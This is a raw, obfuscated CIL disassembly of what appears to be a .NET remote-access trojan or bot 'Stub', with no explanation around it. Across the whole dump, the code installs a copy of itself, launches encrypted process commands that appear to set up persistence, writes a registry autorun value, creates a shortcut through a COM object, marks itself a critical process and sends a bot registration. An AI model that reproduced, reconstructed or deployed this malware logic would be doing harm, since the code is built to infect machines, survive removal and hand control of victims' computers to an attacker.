Stub.Uninstaller::ႳႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4 230 ldc.i4 190 call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴀ.Ⴀ::Ⴄ ldc.i4 624 ldc.i4 553 call System.Byte[] My.MyComputer::Ⴜ<System.String>(System.String,System.Int32,System.Int32) ldc.i4 798 ldc.i4 824 call System.Void Stub.AlgorithmAES::Ⴍ<System.String>(System.String,System.Byte[],System.Char,System.Int16) leave.s IL_03F7: ldc.i4.5 dup <null> ldc.i4 554 ldc.i4 625 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_7 ldc.i4.s 119 ldc.i4.s 41 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_03F7: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.6 <null> ldnull <null> ldc.i4 1525963418 ldc.i4.s 12 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 277 ldc.i4 355 call System.Void Stub.AlgorithmAES::Ⴓ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.1 <null> stloc.s V_31 br.s IL_03FA: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 935 ldc.i4 952 call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char) brfalse.s IL_0471: ldc.i4.4 ldc.i4.0 <null> stloc.s V_31 br.s IL_03FA: ldloc.s V_31 ldc.i4.4 <null> br.s IL_046D: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 isinst System.String[] ldc.i4.0 <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963406 ldc.i4.s 13 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 572 ldc.i4 576 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963355 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963333 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.s 122 ldc.i4.0 <null> call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 470 ldc.i4 432 call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char) ldc.i4.7 <null> stloc.s V_31 br IL_03FA: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.0 <null> ldnull <null> ldc.i4 1525963337 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.7 <null> ldc.i4.s 123 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.2 <null> ldc.i4.6 <null> ldnull <null> ldc.i4 1525963357 ldc.i4.s 10 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.4 <null> ldc.i4.3 <null> ldnull <null> ldc.i4 1525963334 ldc.i4.s 11 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 765 ldc.i4 647 call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char) ldc.i4.s 96 ldc.i4.6 <null> call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.s 48 ldc.i4.s 46 call System.Diagnostics.Process Stub.Messages::ႣႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.Process ldc.i4 443 ldc.i4 449 call System.Void Stub.Messages::ႣႰ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int16) leave.s IL_05FE: ldc.i4.4 dup <null> ldc.i4 803 ldc.i4 888 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_10 ldc.i4 573 ldc.i4 611 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_05FE: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴈ() ldc.i4.s 58 ldc.i4.s 41 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႥႼ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Int16) ldc.i4.s 76 ldc.i4.s 61 call Microsoft.Win32.RegistryKey Stub.Messages::ႣႷ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.1 <null> ldnull <null> ldc.i4 1525963372 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> ldc.i4 719 ldc.i4 704 call Microsoft.Win32.RegistryKey My.MyApplication::Ⴗ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 787 ldc.i4 879 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) ldloc.0 <null> isinst System.String ldc.i4 196 ldc.i4 232 call System.Void My.MyComputer::ႨႥ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16) leave.s IL_069F: ldc.i4.0 dup <null> ldc.i4 555 ldc.i4 624 call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32) stloc.s V_11 ldc.i4 796 ldc.i4 834 call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32) leave.s IL_069F: ldc.i4.0 ldc.i4.0 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 552 ldc.i4 539 call System.String My.MyComputer::ႥႨ(System.Environment/SpecialFolder,System.Char,System.Int32) ldc.i4.0 <null> ldnull <null> ldc.i4 1525963472 ldc.i4.5 <null> call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldsfld System.String Settings::InstallStr ldc.i4.s 111 ldc.i4.s 19 call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char) ldc.i4.8 <null> ldnull <null> ldc.i4 1525963317 ldc.i4.s 17 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4 651 ldc.i4 691 call System.String Stub.AlgorithmAES::ႣႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16) stloc.s V_12 ldc.i4.1 <null> stloc.s V_35 br.s IL_06A2: ldloc.s V_35 ldc.i4.5 <null> ldnull <null> ldc.i4 1525963297 ldc.i4.s 29 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.0 <null> ldnull <null> ldc.i4 1525963732 ldc.i4.s 12 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963730 ldc.i4.s 18 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_12 isinst System.String stelem.ref <null> ldloc.s V_15 isinst System.Object[] stloc.s V_16 ldloc.s V_16 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_07C3: stloc.s V_18 ldloc.s V_16 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.7 <null> ldnull <null> ldc.i4 1525963727 ldc.i4.s 23 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963760 ldc.i4.s 31 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.5 <null> ldnull <null> ldc.i4 1525963729 ldc.i4.s 19 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) stelem.ref <null> ldloc.s V_19 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.7 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.3 <null> ldnull <null> ldc.i4 1525963755 ldc.i4.s 28 call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06A2: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴀ.Ⴀ::Ⴓ leave.s IL_089C: ldc.i4.1 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_089C: ldc.i4.1 ldc.i4.1 <null> stloc.s V_37 ldloc.s V_37 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴀ.Ⴀ::Ⴓ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_08F2: ldc.i4.0 ldc.i4.6 <null> stloc.s V_37 br.s IL_089F: ldloc.s V_37 ldc.i4.0 <null> br.s IL_08EE: stloc.s V_37 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() call System.Void Stub.Main::SendBot() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.7 <null> stloc.s V_37 br IL_089F: ldloc.s V_37 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>